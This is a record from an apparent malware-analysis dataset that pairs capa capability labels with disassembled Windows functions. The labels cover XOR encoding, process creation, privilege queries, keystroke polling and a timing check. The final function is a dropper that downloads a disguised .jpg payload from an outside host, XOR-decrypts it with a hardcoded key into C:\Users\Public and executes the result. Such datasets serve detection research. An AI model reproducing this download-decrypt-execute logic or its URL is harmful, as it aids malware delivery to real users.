joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4ad530
Capabilities:
Encode data using xor

Disassembly:
push rbp
sub rsp, 0x60
mov rbp, rsp
mov qword [rbp + 0x20], 0
mov qword [rbp + 0x50], 0
mov qword [rbp + 0x28], rbp
mov qword [rbp + 0x70], rcx
mov byte [rbp + 0x78], dl
nop
mov qword [rbp + 0x58], 0
nop
cmp byte [rbp + 0x78], 0
je 0x4ad584
lea rcx, [rbp + 0x20]
mov rdx, qword [rbp + 0x70]
call fcn.00425cd0
lea rcx, [rbp + 0x50]
mov rdx, qword [rbp + 0x20]
mov r8w, 0xfde9
call fcn.0040bd40
jmp 0x4ad596
lea rcx, [rbp + 0x50]
mov rdx, qword [rbp + 0x70]
mov r8w, 0xfde9
call fcn.0040bd40
mov qword [rbp + 0x40], 1
mov dword [rbp + 0x38], 0
cmp qword [rbp + 0x50], 0
je 0x4ad5b6
mov rax, qword [rbp + 0x50]
mov eax, dword [rax - 4]
mov dword [rbp + 0x38], eax
mov eax, 1
mov ecx, dword [rbp + 0x38]
mov dword [rbp + 0x4c], eax
cmp dword [rbp + 0x4c], ecx
jg 0x4ad5ff
add ecx, 1
mov rax, qword [rbp + 0x40]
imul rax, rax, 0x5517e877
mov qword [rbp + 0x40], rax
lea rax, [0x00524238]
mov rdx, qword [rbp + 0x50]
movsxd r8, dword [rbp + 0x4c]
movzx rdx, byte [rdx + r8 - 1]
mov rax, qword [rax + rdx*8]
xor qword [rbp + 0x40], rax
add dword [rbp + 0x4c], 1
cmp dword [rbp + 0x4c], ecx
jne 0x4ad5ca
nop
mov rax, qword [rbp + 0x40]
mov qword [rbp + 0x58], rax
jmp 0x4ad612
nop
lea rcx, [rbp + 0x20]
call fcn.0040aa00
lea rcx, [rbp + 0x50]
call fcn.0040aa50
mov rax, qword [rbp + 0x58]
lea rsp, [rbp + 0x60]
pop rbp
ret

Function at 0x4ad7a0
Capabilities:
Create process on windows

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x50
mov rbp, rsp
mov qword [rbp + 0x40], rcx
mov qword [rbp + 0x38], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x88], r9
mov rcx, qword [rbp + 0x88]
call fcn.0040ab90
nop
mov rcx, qword [rbp + 0x40]
call fcn.0040c300
mov rbx, rax
mov rcx, qword [rbp + 0x38]
call fcn.0040c300
mov rsi, rax
mov rcx, qword [rbp + 0x88]
call fcn.0040c300
mov rcx, qword [rbp + 0x30]
lea rdx, [0x004ad864]
mov r8, rbx
mov r9, rsi
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 5
call sub.shell32.dll_ShellExecuteW
cmp eax, 0x20
seta al
mov byte [rbp + 0x4f], al
nop
lea rcx, [rbp + 0x88]
call fcn.0040aa00
movzx rax, byte [rbp + 0x4f]
lea rsp, [rbp + 0x50]
pop rbx
pop rsi
pop rbp
ret

Function at 0x4ada10
Capabilities:
Parse url

Disassembly:
push rbp
sub rsp, 0xa0
mov rbp, rsp
mov qword [rbp + 0x28], rbp
mov qword [rbp + 0xb0], rcx
mov rcx, qword [rbp + 0xb0]
call fcn.0040ab90
nop
lea rcx, [rbp + 0x38]
mov edx, 0x68
xor r8, r8
call fcn.00406de0
lea rcx, [rbp + 0x38]
call fcn.004aedf0
nop
mov dword [rbp + 0x38], 0x68
mov rcx, qword [rbp + 0xb0]
call fcn.0040c300
mov rcx, rax
xor rdx, rdx
xor r8, r8
lea r9, [rbp + 0x38]
call sub.wininet.dll_InternetCrackUrlW
mov eax, dword [rbp + 0x4c]
mov dword [rbp + 0x34], eax
nop
lea rcx, [rbp + 0x38]
call fcn.004aef60
nop
lea rcx, [rbp + 0xb0]
call fcn.0040aa00
mov eax, dword [rbp + 0x34]
lea rsp, [rbp + 0xa0]
pop rbp
ret

Function at 0x4af6a0
Capabilities:
Enumerate gui resources

Disassembly:
sub rsp, 0x28
lea rax, [0x004af440]
movsxd rdx, ecx
mov rcx, rax
call sub.user32.dll_EnumWindows
add rsp, 0x28
ret
Function at 0x4afbc0
Capabilities:
Enumerate gui resources

Disassembly:
sub rsp, 0x28
lea rax, [0x004af980]
movsxd rdx, ecx
mov rcx, rax
call sub.user32.dll_EnumWindows
add rsp, 0x28
ret

Function at 0x4b0000
Capabilities:
Initialize iwebbrowser2

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rdx
mov rcx, rbx
call fcn.0040fc60
lea rcx, [0x005253a8]
xor rdx, rdx
mov r8d, 5
lea r9, [0x004b003c]
mov qword [rsp + 0x20], rax
call sub.ole32.dll_CoCreateInstance
mov rax, rbx
add rsp, 0x30
pop rbx
ret
Function at 0x4b04f0
Capabilities:
Get token privileges

Disassembly:
push rbp
push rbx
sub rsp, 0xa8
mov rbp, rsp
mov qword [rbp + 0x40], 0
mov qword [rbp + 0x48], rbp
mov qword [rbp + 0xc0], rcx
nop
mov rax, qword [rbp + 0xc0]
mov rax, qword [rax + 0x20]
mov rcx, rax
mov rbx, qword [rax]
call qword [rbx + 0x10]
call sub.kernel32.dll_GetCurrentProcess
mov rcx, rax
mov edx, 8
lea r8, [rbp + 0x88]
call sub.advapi32.dll_OpenProcessToken
test eax, eax
je 0x4b075a
nop
mov rcx, qword [rbp + 0x88]
mov edx, 1
xor r8, r8
xor r9, r9
lea rax, [rbp + 0x7c]
mov qword [rsp + 0x20], rax
call sub.advapi32.dll_GetTokenInformation
mov ecx, dword [rbp + 0x7c]
call fcn.00405960
mov rcx, qword [rbp + 0xc0]
mov qword [rcx + 0x18], rax
mov rcx, qword [rbp + 0x88]
mov edx, 1
mov rax, qword [rbp + 0xc0]
mov r8, qword [rax + 0x18]
mov r9d, dword [rbp + 0x7c]
lea rax, [rbp + 0x7c]
mov qword [rsp + 0x20], rax
call sub.advapi32.dll_GetTokenInformation
test eax, eax
jne 0x4b05cc
nop
mov rax, qword [rbp + 0xc0]
mov rcx, qword [rax + 0x18]
call fcn.004059c0
nop
mov rax, qword [rbp + 0xc0]
mov qword [rax + 0x18], 0
jmp 0x4b05d8
mov rcx, qword [rbp + 0xc0]
call fcn.004b0410
mov rcx, qword [rbp + 0x88]
mov edx, 3
xor r8, r8
xor r9, r9
lea rax, [rbp + 0x7c]
mov qword [rsp + 0x20], rax
call sub.advapi32.dll_GetTokenInformation
mov ecx, dword [rbp + 0x7c]
call fcn.00405960
mov qword [rbp + 0x90], rax
nop
mov rcx, qword [rbp + 0x88]
mov edx, 3
mov r8, qword [rbp + 0x90]
mov r9d, dword [rbp + 0x7c]
lea rax, [rbp + 0x7c]
mov qword [rsp + 0x20], rax
call sub.advapi32.dll_GetTokenInformation
test eax, eax
je 0x4b0740
mov rax, qword [rbp + 0x90]
cmp dword [rax], 0
jbe 0x4b0740
xor rax, rax
mov rcx, qword [rbp + 0x90]
mov ecx, dword [rcx]
sub ecx, 1
mov dword [rbp + 0x3c], ecx
mov dword [rbp + 0x78], eax
mov eax, dword [rbp + 0x3c]
cmp dword [rbp + 0x78], eax
ja 0x4b073f
mov eax, dword [rbp + 0x3c]
add eax, 1
mov dword [rbp + 0x3c], eax
mov rax, qword [rbp + 0x90]
mov ecx, dword [rbp + 0x78]
lea rcx, [rcx + rcx*2]
mov rax, qword [rax + rcx*4 + 4]
mov qword [rbp + 0x80], rax
mov dword [rbp + 0x7c], 0
xor rcx, rcx
lea rdx, [rbp + 0x80]
xor r8, r8
lea r9, [rbp + 0x7c]
call sub.advapi32.dll_LookupPrivilegeNameW
mov ecx, dword [rbp + 0x7c]
add ecx, 1
add ecx, ecx
mov ecx, ecx
call fcn.00405960
mov qword [rbp + 0x98], rax
nop
xor rcx, rcx
lea rdx, [rbp + 0x80]
mov r8, qword [rbp + 0x98]
lea r9, [rbp + 0x7c]
call sub.advapi32.dll_LookupPrivilegeNameW
test eax, eax
je 0x4b0722
mov rax, qword [rbp + 0xc0]
mov rax, qword [rax + 0x20]
mov qword [rbp + 0x68], rax
lea rcx, [rbp + 0x40]
mov rdx, qword [rbp + 0x98]
call fcn.0040c380
mov rcx, qword [0x004b0070]
mov dl, 1
mov r8, qword [rbp + 0x40]
call fcn.004b0330
mov qword [rbp + 0x60], rax
mov rcx, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x60]
call fcn.00458e00
mov dword [rbp + 0x5c], eax
nop
mov rcx, qword [rbp + 0x98]
call fcn.004059c0
add dword [rbp + 0x78], 1
mov eax, dword [rbp + 0x3c]
cmp dword [rbp + 0x78], eax
jne 0x4b0671
nop
nop
mov rcx, qword [rbp + 0x90]
call fcn.004059c0
nop
mov rcx, qword [rbp + 0x88]
call sub.kernel32.dll_CloseHandle_1
nop
lea rcx, [rbp + 0x40]
call fcn.0040aa00
lea rsp, [rbp + 0xa8]
pop rbx
pop rbp
ret
Function at 0x4b6f60
Capabilities:
Check for time delay via gettickcount

Disassembly:
push r13
push rdi
push rsi
push rbx
sub rsp, 0x28
mov rbx, rcx
mov esi, edx
mov rax, qword [0x0052e240]
cmp dword [rax], 2
je 0x4b6f88
lea rcx, [rbx + 8]
call sub.kernel32.dll_EnterCriticalSection_1
mov dil, 1
jmp 0x4b6fd7
cmp esi, 0xffffffff
jne 0x4b6f9b
lea rcx, [rbx + 8]
call sub.kernel32.dll_EnterCriticalSection_1
mov dil, 1
jmp 0x4b6fd7
call sub.kernel32.dll_GetTickCount_1
mov r13d, eax
lea rcx, [rbx + 8]
call sub.kernel32.dll_TryEnterCriticalSection
test eax, eax
setne dil
test dil, dil
jne 0x4b6fd6
call sub.kernel32.dll_GetCurrentProcess
mov rcx, rax
mov edx, 0xa
call sub.kernel32.dll_WaitForSingleObject
call sub.kernel32.dll_GetTickCount_1
sub eax, r13d
cmp eax, esi
jbe 0x4b6fa3
nop
mov eax, edi
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r13
ret

Function at 0x4d65b0
Capabilities:
Get graphical window text

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, rcx
mov rsi, r8
mov rax, qword [rbx + 0x38]
mov rcx, qword [rax + 0x980]
call fcn.0040dc80
test rax, rax
jl 0x4d6695
cmp word [rsi], 0xd
jne 0x4d6676
mov rax, qword [rbx + 0x30]
cmp byte [rax + 0x70b], 0
je 0x4d6656
mov rcx, qword [rbx + 0x30]
call fcn.00498700
mov edi, eax
mov rcx, qword [rbx + 0x30]
call fcn.00498370
sub eax, 1
cmp edi, eax
jne 0x4d6621
mov rcx, rbx
call fcn.004e8010
mov rcx, qword [rbx + 0x30]
xor rdx, rdx
call fcn.00498a00
jmp 0x4d66a6
mov rcx, qword [rbx + 0x30]
call fcn.00498700
mov edi, eax
mov rcx, qword [rbx + 0x30]
call fcn.00498370
sub eax, 2
cmp edi, eax
jne 0x4d664a
mov rcx, qword [rbx + 0x30]
xor rdx, rdx
call fcn.00498a00
jmp 0x4d66a6
mov rcx, qword [rbx + 0x30]
xor rdx, rdx
call fcn.00498a00
mov rax, qword [rbx + 0x38]
mov rcx, qword [rax + 0x61b]
mov edx, 0x464
mov r8d, 0xd
xor r9, r9
call sub.user32.dll_SendMessageW
cmp word [rsi], 0x1b
jne 0x4d6695
mov rax, qword [rbx + 0x30]
cmp byte [rax + 0x70b], 0
je 0x4d6695
mov rcx, qword [rbx + 0x30]
xor rdx, rdx
call fcn.00498a00
cmp word [rsi], 0x21
jae 0x4d66a6
mov rax, qword [rbx + 0x30]
mov dword [rax + 0x5a], 3
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
Function at 0x4f65c0
Capabilities:
Parse url

Disassembly:
push rbp
sub rsp, 0xa0
mov rbp, rsp
mov qword [rbp + 0x28], rbp
mov qword [rbp + 0xb0], rcx
mov qword [rbp + 0xb8], rdx
mov qword [rbp + 0xc0], r8
mov qword [rbp + 0xc8], r9
mov rcx, qword [rbp + 0xb0]
call fcn.0040ab90
nop
lea rcx, [rbp + 0x38]
mov edx, 0x68
xor r8, r8
call fcn.00406de0
mov rcx, rbp
call fcn.004f63f0
nop
mov dword [rbp + 0x38], 0x68
mov rcx, qword [rbp + 0xb0]
call fcn.0040c300
mov rcx, rax
xor rdx, rdx
xor r8, r8
lea r9, [rbp + 0x38]
call sub.wininet.dll_InternetCrackUrlW
test eax, eax
setne al
mov byte [rbp + 0x37], al
mov rcx, qword [rbp + 0xb8]
mov rdx, qword [rbp + 0x50]
call fcn.0040c380
mov rcx, qword [rbp + 0xc0]
mov rdx, qword [rbp + 0x80]
call fcn.0040c380
mov rcx, qword [rbp + 0xc8]
mov rdx, qword [rbp + 0x90]
call fcn.0040c380
nop
mov rcx, rbp
call fcn.004f6520
nop
lea rcx, [rbp + 0xb0]
call fcn.0040aa00
movzx rax, byte [rbp + 0x37]
lea rsp, [rbp + 0xa0]
pop rbp
ret

Function at 0x4f9290
Capabilities:
Hash data with md5

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
mov rcx, rbx
mov edx, 0x58
xor r8, r8
call fcn.00406de0
mov dword [rbx], 0x67452301
mov dword [rbx + 4], 0xefcdab89
mov dword [rbx + 8], 0x98badcfe
mov dword [rbx + 0xc], 0x10325476
add rsp, 0x20
pop rbx
ret
Function at 0x14007ca98
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x2c0
mov rdi, rdx
movsxd rbx, ecx
mov ecx, 0x101
lea rdx, [rsp + 0x120]
call qword [sym.imp.WSOCK32.dll_WSAStartup]
test eax, eax
jne 0x14007cb76
mov edx, 0x100
lea rcx, [rsp + 0x20]
call qword [sym.imp.WSOCK32.dll_gethostname]
lea rcx, [rsp + 0x20]
call qword [sym.imp.WSOCK32.dll_gethostbyname]
test rax, rax
je 0x14007cb76
mov r9, qword [rax + 0x18]
xor ecx, ecx
cmp qword [r9], rcx
je 0x14007cb04
mov rax, r9
inc ecx
lea rax, [rax + 8]
cmp qword [rax], 0
jne 0x14007caf8
cmp ebx, ecx
jle 0x14007cb19
lea rdx, [0x1400dd4f8]
mov rcx, rdi
call fcn.140028d7c
jmp 0x14007cb6e
mov rdx, qword [r9 + rbx*8 - 8]
lea rcx, [rsp + 0x2e0]
mov r8d, 4
call fcn.140025d00
mov ecx, dword [rsp + 0x2e0]
call qword [sym.imp.WSOCK32.dll_inet_ntoa]
mov rdx, rax
lea rcx, [rsp + 0x20]
call fcn.140032460
or edx, 0xffffffff
lea rcx, [rsp + 0x20]
call fcn.14007daa4
mov rdx, rax
mov rcx, rdi
mov rbx, rax
call fcn.140028d7c
mov rcx, rbx
call fcn.140024c24
call qword [sym.imp.WSOCK32.dll_WSACleanup]
jmp 0x14007cb85
lea rdx, [0x1400b64d8]
mov rcx, rdi
call fcn.140028d7c
mov rbx, qword [rsp + 0x2d0]
add rsp, 0x2c0
pop rdi
ret

Function at 0x14007cb98
Capabilities:
Get common file path

Disassembly:
push rbx
sub rsp, 0x240
mov rbx, rdx
lea rax, [rsp + 0x30]
mov edx, ecx
mov qword [rsp + 0x20], rax
xor ecx, ecx
xor r9d, r9d
xor r8d, r8d
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.140007cf4
add rsp, 0x240
pop rbx
ret

Function at 0x14007ced4
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14007ceeb
test al, 0x10
je 0x14007ceeb
mov al, 1
jmp 0x14007ceed
xor al, al
add rsp, 0x28
ret

Function at 0x14007cf68
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x40
mov ebx, dword [rsp + 0x80]
xor edi, edi
mov byte [0x1400f0419], dil
mov esi, r9d
mov rbp, r8
mov r14, rdx
mov r15, rcx
test ebx, ebx
je 0x14007cfde
mov byte [0x1400f041a], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
lea r9, [rsp + 0x30]
mov dword [rsp + 0x34], ebx
mov dword [rsp + 0x30], eax
lea r8, [0x14007d4ac]
lea rax, [rsp + 0x80]
xor edx, edx
mov qword [rsp + 0x28], rax
xor ecx, ecx
and dword [rsp + 0x20], edi
call fcn.140031f44
mov rdi, rax
mov r9d, esi
mov r8, rbp
mov rdx, r14
mov rcx, r15
call qword [sym.imp.USER32.dll_MessageBoxW]
mov ebx, eax
test rdi, rdi
je 0x14007d013
or edx, 0xffffffff
mov byte [0x1400f041a], 0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbp, qword [rsp + 0x68]
or eax, 0xffffffff
cmp byte [0x1400f0419], 1
mov rsi, qword [rsp + 0x70]
cmove ebx, eax
mov eax, ebx
mov rbx, qword [rsp + 0x60]
add rsp, 0x40
pop r15
pop r14
pop rdi
ret
Function at 0x1400011f0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
mov rcx, qword [0x14001aa78]
mov ebp, 4
add rcx, 2
nop dword [rax]
nop dword [rax + rax]
movzx ebx, byte [rcx - 2]
movzx r9d, byte [rcx - 1]
movzx esi, byte [rcx + 1]
movzx r11d, byte [rcx]
movzx r8d, bl
movzx r10d, sil
xor r8b, r9b
xor r10b, r11b
mov al, 0x1b
movzx edx, r8b
add r8b, r8b
movzx edi, r10b
shr dl, 7
xor dil, bl
lea rcx, [rcx + 4]
xor dil, r9b
imul dl
xor al, r8b
movzx r8d, r9b
xor al, bl
xor r8b, r11b
xor al, dil
movzx edx, r8b
add r8b, r8b
mov byte [rcx - 6], al
shr dl, 7
mov al, 0x1b
imul dl
xor al, r8b
movzx edx, r10b
xor al, r9b
shr dl, 7
add r10b, r10b
xor al, dil
movzx r8d, sil
mov byte [rcx - 5], al
xor r8b, bl
mov al, 0x1b
imul dl
xor al, r10b
movzx edx, r8b
xor al, r11b
shr dl, 7
add r8b, r8b
xor al, dil
mov byte [rcx - 4], al
mov al, 0x1b
imul dl
xor al, r8b
xor al, sil
xor al, dil
mov byte [rcx - 3], al
dec rbp
jne 0x140001220
mov rbx, qword [rsp + 8]
mov rbp, qword [rsp + 0x10]
mov rsi, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
ret
Function at 0x1400032a0
Capabilities:
Accept command line arguments
Create process on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x300
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x2f0], rax
xor edx, edx
mov rsi, rcx
lea rcx, [rsp + 0x70]
lea r8d, [rdx + 0x68]
call fcn.140007470
xor eax, eax
mov dword [rsp + 0x70], 0x68
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
call qword [sym.imp.KERNEL32.DLL_GetCommandLineW]
lea rdx, [rsp + 0x50]
mov rcx, rax
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
lea rcx, [rsp + 0xe2]
xor ebp, ebp
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0xe0], bp
mov rbx, rax
call fcn.140007470
lea r8d, [rbp + 0xb]
lea rdx, str.Unravel.exe
lea rcx, [rsp + 0xe0]
call fcn.140004420
lea r8d, [rbp + 1]
lea rdx, [0x140015934]
lea rcx, [rsp + 0xe0]
call fcn.140004420
lea rdx, [0x140015a38]
lea rcx, [rsp + 0xe0]
xor r8d, r8d
call fcn.140004420
mov edi, 1
cmp dword [rsp + 0x50], edi
jle 0x1400033c5
add rbx, 8
lea rdx, [0x140015a3c]
lea rcx, [rsp + 0xe0]
mov r8d, 1
call fcn.140004420
mov rdx, qword [rbx]
or r8, 0xffffffffffffffff
inc r8
cmp word [rdx + r8*2], bp
jne 0x1400033a2
lea rcx, [rsp + 0xe0]
call fcn.140004420
inc edi
add rbx, 8
cmp edi, dword [rsp + 0x50]
jl 0x140003381
lea rax, [rsp + 0x58]
lea rdx, [rsp + 0xe0]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x30], rbp
xor ecx, ecx
mov dword [rsp + 0x28], 0x4000000
mov dword [rsp + 0x20], ebp
call qword [sym.imp.KERNEL32.DLL_CreateProcessW]
xor edx, edx
mov rcx, rsi
call qword [sym.imp.USER32.dll_EndDialog]
mov rcx, qword [rsp + 0x2f0]
xor rcx, rsp
call fcn.140003e20
lea r11, [rsp + 0x300]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x140003500
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rsi, qword [r9 + 0x10]
xor dil, dil
mov rbx, r9
mov rbp, rcx
cmp edx, dword [r9]
jl 0x140003567
cmp edx, dword [r9 + 8]
jg 0x140003567
cmp r8d, dword [r9 + 4]
jl 0x140003567
cmp r8d, dword [r9 + 0xc]
jg 0x140003567
mov ecx, 1
call qword [sym.imp.USER32.dll_GetKeyState]
mov ecx, 0x100
test cx, ax
je 0x14000355a
mov rax, qword [rbx + 0x28]
mov dil, 1
mov qword [rbx + 0x10], rax
jmp 0x14000356f
mov rax, qword [rbx + 0x20]
mov dil, 1
mov qword [rbx + 0x10], rax
jmp 0x14000356f
mov rcx, qword [r9 + 0x18]
mov qword [r9 + 0x10], rcx
cmp rsi, qword [rbx + 0x10]
je 0x140003587
mov r8d, 1
mov rdx, rbx
mov rcx, rbp
call qword [sym.imp.USER32.dll_InvalidateRect]
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
movzx eax, dil
add rsp, 0x20
pop rdi
ret

Function at 0x140004ac0
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140004928
Function at 0x14000102c
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x160
mov rax, qword [0x140248040]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov rbp, rdx
mov rsi, rcx
lea rdx, [0x1401b1ea8]
mov rcx, rbp
call fcn.140007028
xor edi, edi
mov rbx, rax
test rax, rax
jne 0x140001070
xor eax, eax
jmp 0x1400010e1
mov rdx, rsi
mov rcx, rax
call fcn.1400050e4
mov rcx, rbx
test eax, eax
je 0x140001089
call fcn.14000708c
jmp 0x14000106c
lea r8, [rsp + 0x20]
or edx, 0xffffffff
call fcn.1400050a4
test eax, eax
je 0x14000109f
mov rcx, rbx
jmp 0x140001082
mov esi, dword [rsp + 0x20]
test esi, esi
jle 0x1400010cb
lea r8, [rsp + 0x20]
mov edx, edi
mov rcx, rbx
call fcn.1400050a4
lea r8, [rsp + 0x24]
mov edx, edi
mov rcx, rbx
call fcn.140007070
inc edi
cmp edi, esi
jl 0x1400010a7
mov rcx, rbx
call fcn.14000708c
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, 1
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.140147000
mov rbx, qword [rsp + 0x190]
add rsp, 0x160
pop rdi
pop rsi
pop rbp
ret

Function at 0x140001120
Capabilities:
Read file on windows
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov rbp, r8
mov rdi, rdx
mov rbx, rcx
xor esi, esi
call fcn.140001104
mov rcx, rbp
call fcn.140147770
lea rdx, [0x1401b1eb0]
mov rcx, rbx
mov r12, rax
call fcn.140147748
lea rdx, [0x1401b1eac]
mov rcx, rdi
mov rbx, rax
call fcn.140147748
mov rcx, rbx
mov rdi, rax
call fcn.140147620
test eax, eax
jne 0x1400011d8
lea r13d, [rsi + 1]
lea rcx, [rsp + 0x58]
mov r9, rbx
mov r8, r13
mov rdx, r13
call fcn.140147600
mov rcx, rbx
call fcn.140147620
test eax, eax
jne 0x1400011cc
mov eax, esi
mov r9, rdi
mov r8, r13
cdq
idiv r12d
movsxd rax, edx
mov rdx, r13
mov cl, byte [rax + rbp]
xor byte [rsp + 0x58], cl
lea rcx, [rsp + 0x58]
call fcn.140147290
add esi, r13d
mov rcx, rbx
call fcn.140147620
test eax, eax
je 0x140001187
mov rcx, rbx
call fcn.14014709c
mov rcx, rdi
call fcn.14014709c
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r13
pop r12
pop rdi
ret
Function at 0x1400016bc
Capabilities:
Create process on windows

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x18]
sub rsp, 0x110
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov rax, qword [0x140248040]
xor rax, rsp
mov qword [rbp], rax
lea rcx, str.angclassic_zh_cn
call fcn.140147770
mov rbx, rax
lea rcx, str.tg:__setlanguage_l
call fcn.140147770
lea rcx, [rbx + rax + 1]
call fcn.140007404
mov rbx, rax
lea rdx, str.tg:__setlanguage_l
mov rcx, rax
call fcn.140148530
lea rdx, str.angclassic_zh_cn
mov rcx, rbx
call fcn.140148490
mov dword [rsp + 0x28], 1
and qword [rsp + 0x20], 0
lea r9, [0x1401b1ea8]
mov r8, rbx
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rcx, [rbp - 0x70]
call fcn.14000268c
nop
mov ebx, reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x78], rbx
and qword [rsp + 0x70], 0
mov byte [rsp + 0x60], 0
lea rcx, str.C:UsersPublicykt.dat
call fcn.140147770
mov r8, rax
lea rdx, str.C:UsersPublicykt.dat
lea rcx, [rsp + 0x60]
call fcn.1400015c4
nop
mov qword [rsp + 0x50], rbx
and qword [rsp + 0x48], 0
mov byte [rsp + 0x38], 0
lea rcx, str.https:__dlink.host_1drv_aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBa0ZQRnBaT2Q2d0FnaTkyLVhycUF5WGlSZVkzP2U9NkpEYlhG.jpg
call fcn.140147770
mov r8, rax
lea rdx, str.https:__dlink.host_1drv_aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBa0ZQRnBaT2Q2d0FnaTkyLVhycUF5WGlSZVkzP2U9NkpEYlhG.jpg
lea rcx, [rsp + 0x38]
call fcn.1400015c4
nop
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x38]
lea rcx, [rbp - 0x70]
call fcn.140002888
nop
cmp qword [rsp + 0x50], 0x10
jb 0x1400017ea
mov rcx, qword [rsp + 0x38]
call fcn.14000740c
mov qword [rsp + 0x50], rbx
and qword [rsp + 0x48], 0
mov byte [rsp + 0x38], 0
cmp qword [rsp + 0x78], 0x10
jb 0x14000180c
mov rcx, qword [rsp + 0x60]
call fcn.14000740c
lea rcx, [rbp - 0x70]
call fcn.1400025dc
lea r8, str.vC1C7s1ZXPGybDFgEZ6rQ5v5JHBMjbzn
lea rdx, str.C:UsersPublichgh.dat
lea rcx, str.C:UsersPublicykt.dat
call fcn.140001120
lea rdx, str.C:UsersPublichgh.dat
lea rcx, str.C:UsersPublic
call fcn.14000102c
mov dword [rsp + 0x28], 5
and qword [rsp + 0x20], 0
lea r9, [0x1401b1ea8]
lea r8, str.C:UsersPublicWinZipypager.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
lea rcx, [rbp - 0x70]
call fcn.1400026c0
xor eax, eax
mov rcx, qword [rbp]
xor rcx, rsp
call fcn.140147000
mov rbx, qword [rsp + 0x120]
add rsp, 0x110
pop rbp
ret